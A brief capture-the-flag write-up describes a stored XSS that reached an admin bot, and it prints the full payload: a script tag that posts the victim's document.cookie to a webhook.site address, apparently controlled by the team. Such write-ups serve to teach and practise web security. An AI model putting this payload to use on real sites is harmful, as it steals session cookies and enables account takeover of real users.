Challenge

A simple stored XSS reaching an admin bot. The payload posted into the chat fired in the admin context and exfiltrated its cookie to our webhook:

1

I need a human <script>fetch('https://webhook.site/<id>', {method:'POST',mode:'no-cors',body:document.cookie});</script>

We took first blood!